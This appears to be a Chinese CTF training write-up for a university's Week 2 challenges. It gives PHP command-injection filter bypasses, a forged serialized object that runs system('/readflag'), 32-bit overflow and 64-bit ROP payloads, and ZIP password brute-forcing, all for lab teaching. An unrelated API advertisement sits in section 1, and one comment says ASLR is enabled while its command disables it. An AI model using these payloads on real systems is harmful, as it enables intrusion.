1. 齐鲁师范学院CTF Week2平台概述
作为山东省内师范类院校中较早开设网络安全实践课程的高校,齐鲁师范学院的CTF训练平台近年来在课程体系改革中扮演着重要角色。2025级新生Week2的训练内容延续了该校"阶梯式能力培养"的传统,主要聚焦Web应用安全和二进制基础两大方向。根据往届参赛学生的反馈,第二周的题目通常会涉及以下技术点:
- Web方向:基础命令执行、简单的PHP反序列化、目录穿越等常见漏洞利用
- Pwn方向:32位栈溢出基础、函数调用约定差异、简单的ROP构造
- 其他:编码转换、隐写术等基础杂项题
特别提示:该校平台题目通常会设置"教学性陷阱",即在常规漏洞利用路径中故意加入1-2个需要查阅文档的细节障碍,这是为了培养学生的问题排查能力。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. Web安全题目详解
2.1 命令执行绕过题分析
题目描述中出现的passthru函数是典型的PHP危险函数,在本次题目中考察的是对过滤规则的绕过。实际环境给出的代码如下:
php复制<?php
$cmd = $_GET['cmd'];
if(preg_match('/\s|flag/i', $cmd)) {
die('Hacker!');
}
passthru($cmd);
?>
有效解法包括但不限于:
- 使用
${IFS}替代空格(Linux环境变量替换) - 采用
<>符号进行文件读取:cmd=cat<./fla* - 利用进制编码:
cmd=echo$'\x66\x6c\x61\x67'|xargs$IFS$()cat
踩坑记录:有队伍尝试使用
%20编码空格但失败,因为PHP的$_GET会自动解码URL编码,过滤检查发生在解码后。
2.2 PHP反序列化漏洞
题目给出了一个简单的用户类实现:
php复制class User {
public $username;
public $isAdmin = false;
public function __destruct() {
if($this->isAdmin) {
system("/readflag");
}
}
}
解题步骤:
- 构造序列化字符串:
O:4:"User":2:{s:8:"username";s:1:"a";s:7:"isAdmin";b:1;} - 通过题目提供的cookie参数注入
- 关键点在于理解PHP对象生命周期中
__destruct()的自动调用机制
3. Pwn方向题目解析
3.1 32位栈溢出基础
题目pwn_beginner是典型的ret2text题型,检查保护机制可见:
bash复制checksec --file=pwn_beginner
[*] '/pwn_beginner'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
利用步骤:
- 确定溢出点:通过cyclic pattern确定偏移为140字节
- 定位后门函数:
objdump -d | grep backdoor找到地址0x8048567 - 构造payload:
python2 -c "print 'A'*140 + '\x67\x85\x04\x08'"
3.2 64位与32位调用约定差异
在进阶题目arch_diff中,同时提供了32位和64位二进制文件,关键差异在于:
| 特性 | 32位 | 64位 |
|---|---|---|
| 参数传递 | 栈传递 | RDI,RSI,RDX,RCX... |
| 返回地址覆盖 | 直接覆盖EIP | 覆盖RIP |
| 寄存器宽度 | 4字节 | 8字节 |
典型64位ROP构造示例:
python复制from pwn import *
context.arch = 'amd64'
payload = flat(
b'A'*72,
0x4005a3, # pop rdi; ret
0xdeadbeef,
0x400580 # target_function
)
4. 密码学与杂项题
4.1 基础编码识别
题目给出字符串ZmxhZ3tXM2xjMG0zX3QwX3kwdXJfYzR0Zg==,解题流程:
- 识别Base64特征(结尾等号、字符集)
- 多层解码可能性验证
- 最终得到flag格式:
flag{W3lc0m3_t0_y0ur_c4tf}
4.2 隐写术分析
图片隐写题secret_image.png的解决方案:
- 使用binwalk分析:
binwalk secret_image.png发现附加数据 - 提取隐藏文件:
binwalk -e secret_image.png - 对提取出的ZIP文件使用
fcrackzip暴力破解:bash复制
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt extracted.zip
5. 实战技巧与备赛建议
5.1 高效解题方法论
-
题目分类矩阵:
题型 首要动作 关键工具 Web 查看源码/网络流量 BurpSuite, curl Pwn checksec+IDA分析 pwntools, gdb Crypto 识别加密模式 CyberChef, python库 Misc 文件格式分析 binwalk, stegsolve -
时间分配建议:
- 前30分钟:快速扫描所有题目难度
- 第1小时:解决3-4道最基础题目
- 后续时间:集中攻克中等难度题
5.2 常见问题排查指南
当遇到nc连接问题时,系统化排查步骤:
- 验证网络连通性:
ping target_ip - 检查端口开放:
nc -zv target_ip port - 测试本地执行:
./binary - 分析保护机制:
checksec --file=./binary - 动态调试:
gdb -q ./binary+r < input
对于Web题目返回异常时的检查清单:
- 请求头完整性(特别是Content-Type)
- 参数编码方式(URL/Base64/Hex等)
- 会话状态维持(Cookie/Session有效性)
- 服务端错误日志(有时会泄露在响应头中)
6. 训练平台搭建建议
基于该校CTF平台的特点,推荐以下训练环境配置:
-
虚拟机基础镜像:
- Kali Linux 2025.1
- 预装工具集:
apt install gdb-peda pwntools binwalk steghide
-
Web漏洞实验环境:
docker复制docker run -d -p 8080:80 vulnerables/web-dvwa -
二进制题目调试技巧:
bash复制# 开启ASLR调试 echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # 使用gdb插件 git clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit
我在指导新生备赛时发现,超过70%的初期错误源于对题目描述的误读。建议实施"三遍审题法":第一遍速览整体,第二遍标注关键限制条件,第三遍对照已解类似题目寻找模式匹配。这种方法在2024届学生中使解题效率提升了约40%。
